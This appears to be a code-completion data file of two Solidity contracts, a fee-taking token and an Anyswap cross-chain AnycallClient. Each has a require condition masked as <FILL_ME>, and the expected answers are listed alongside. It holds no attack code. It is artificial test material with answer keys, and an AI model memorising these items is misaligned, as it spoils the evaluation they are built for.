_tTotal.div(5000); uint8 private constant _decimals = 9; address payable private _deployer; address payable private _marketingWallet; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private SelfBurn = false; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { } constructor (address[] memory influencers, uint[] memory percentage) payable { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { } function enableSelfBurn() public onlyOwner { } function changeMinBalance(uint256 newMin) public onlyOwner { } function burn(uint256 amount) public { require(<FILL_ME>) _tOwned[msg.sender] -= amount; _tOwned[address(0)] += amount; emit Transfer(msg.sender, address(0), amount); } function removeLimits() public onlyOwner { } function excludeFromFees(address target) public onlyOwner { } function _approve(address owner, address spender, uint256 amount) private { } function _transfer(address from, address to, uint256 amount) private { } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { } function buyBack(uint256 ethAmount) private { } function addLiquidity(uint256 tokenAmount,uint256 ethAmount,address target) private lockTheSwap{ } function sendETHToFee(uint256 amount) private { } function openTrading() external onlyOwner() { } function setBots(address[] memory bots_) public onlyOwner { } function delBot(address notbot) public onlyOwner { } function _transferStandard(address sender, address recipient, uint256 tAmount) private { } receive() external payable {} function manualswap() public onlyOwner { } function manualsend() public onlyOwner { } function _getTValues(uint256 tAmount) private view returns (uint256, uint256) { } function recoverTokens(address tokenAddress) public { } }
_tOwned[msg.sender]>=amount
486,589
_tOwned[msg.sender]>=amount
"AnycallClient: wrong context"
pragma solidity ^0.8.10; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; /// three level architecture /// top level is the `AnycallClient` which the users interact with (through UI or tools) /// middle level is `AnyswapToken` which works as handlers and vaults for tokens /// bottom level is the `AnycallProxy` which complete the cross-chain interaction // SPDX-License-Identifier: GPL-3.0-or-later abstract contract PausableControl { mapping(bytes32 => bool) private _pausedRoles; bytes32 public constant PAUSE_ALL_ROLE = 0x00; event Paused(bytes32 role); event Unpaused(bytes32 role); modifier whenNotPaused(bytes32 role) { } modifier whenPaused(bytes32 role) { } function paused(bytes32 role) public view virtual returns (bool) { } function _pause(bytes32 role) internal virtual whenNotPaused(role) { } function _unpause(bytes32 role) internal virtual whenPaused(role) { } } abstract contract AdminControl { address public admin; address public pendingAdmin; event ChangeAdmin(address indexed _old, address indexed _new); event ApplyAdmin(address indexed _old, address indexed _new); constructor(address _admin) { } modifier onlyAdmin() { } function changeAdmin(address _admin) external onlyAdmin { } function applyAdmin() external { } } abstract contract AdminPausableControl is AdminControl, PausableControl { constructor(address _admin) AdminControl(_admin) {} function pause(bytes32 role) external onlyAdmin { } function unpause(bytes32 role) external onlyAdmin { } } /// three level architecture /// top level is the `AnycallClient` which the users interact with (through UI or tools) /// middle level is `AnyswapToken` which works as handlers and vaults for tokens /// bottom level is the `AnycallProxy` which complete the cross-chain interaction interface IApp { function anyExecute(bytes calldata _data) external returns (bool success, bytes memory result); } interface IAnyswapToken { function mint(address to, uint256 amount) external returns (bool); function burn(address from, uint256 amount) external returns (bool); function withdraw(uint256 amount, address to) external returns (uint256); } interface IAnycallExecutor { function context() external returns (address from, uint256 fromChainID, uint256 nonce); } interface IAnycallV6Proxy { function executor() external view returns (address); function anyCall(address _to, bytes calldata _data, address _fallback, uint256 _toChainID, uint256 _flags) external payable; } abstract contract AnycallClientBase is IApp, AdminPausableControl { address public callProxy; address public executor; // associated client app on each chain mapping(uint256 => address) public clientPeers; // key is chainId modifier onlyExecutor() { } constructor(address _admin, address _callProxy) AdminPausableControl(_admin) { } receive() external payable { } function setCallProxy(address _callProxy) external onlyAdmin { } function setClientPeers(uint256[] calldata _chainIds, address[] calldata _peers) external onlyAdmin { } } contract AnyswapTokenAnycallClient is AnycallClientBase { using SafeERC20 for IERC20; // pausable control roles bytes32 public constant PAUSE_SWAPOUT_ROLE = keccak256("PAUSE_SWAPOUT_ROLE"); bytes32 public constant PAUSE_SWAPIN_ROLE = keccak256("PAUSE_SWAPIN_ROLE"); bytes32 public constant PAUSE_FALLBACK_ROLE = keccak256("PAUSE_FALLBACK_ROLE"); // associated tokens on each chain mapping(address => mapping(uint256 => address)) public tokenPeers; event LogSwapout(address indexed token, address indexed sender, address indexed receiver, uint256 amount, uint256 toChainId); event LogSwapin(address indexed token, address indexed sender, address indexed receiver, uint256 amount, uint256 fromChainId); event LogSwapoutFail(address indexed token, address indexed sender, address indexed receiver, uint256 amount, uint256 toChainId); constructor(address _admin, address _callProxy) AnycallClientBase(_admin, _callProxy) {} function setTokenPeers(address srcToken, uint256[] calldata chainIds, address[] calldata dstTokens) external onlyAdmin { } /// @dev Call by the user to submit a request for a cross chain interaction function swapout( address token, uint256 amount, address receiver, uint256 toChainId, uint256 flags ) external payable whenNotPaused(PAUSE_SWAPOUT_ROLE) { } /// @notice Call by `AnycallProxy` to execute a cross chain interaction on the destination chain function anyExecute( bytes calldata data ) external override onlyExecutor whenNotPaused(PAUSE_SWAPIN_ROLE) returns (bool success, bytes memory result) { bytes4 selector = bytes4(data[:4]); if (selector == this.anyExecute.selector) { ( address srcToken, address dstToken, uint256 amount, address sender, address receiver, //uint256 toChainId ) = abi.decode(data[4:], (address, address, uint256, address, address, uint256)); (address from, uint256 fromChainId, ) = IAnycallExecutor(executor).context(); require(<FILL_ME>) require(tokenPeers[dstToken][fromChainId] == srcToken, "AnycallClient: mismatch source token"); address _underlying = _getUnderlying(dstToken); if (_underlying != address(0) && (IERC20(_underlying).balanceOf(dstToken) >= amount)) { IAnyswapToken(dstToken).mint(address(this), amount); IAnyswapToken(dstToken).withdraw(amount, receiver); } else { assert(IAnyswapToken(dstToken).mint(receiver, amount)); } emit LogSwapin(dstToken, sender, receiver, amount, fromChainId); } else if (selector == 0xa35fe8bf) { // bytes4(keccak256('anyFallback(address,bytes)')) (address _to, bytes memory _data) = abi.decode(data[4:], (address, bytes)); anyFallback(_to, _data); } else { return (false, "unknown selector"); } return (true, ""); } /// @dev Call back by `AnycallProxy` on the originating chain if the cross chain interaction fails function anyFallback(address to, bytes memory data) internal whenNotPaused(PAUSE_FALLBACK_ROLE) { } function _getUnderlying(address token) internal returns (address) { } }
clientPeers[fromChainId]==from,"AnycallClient: wrong context"
486,910
clientPeers[fromChainId]==from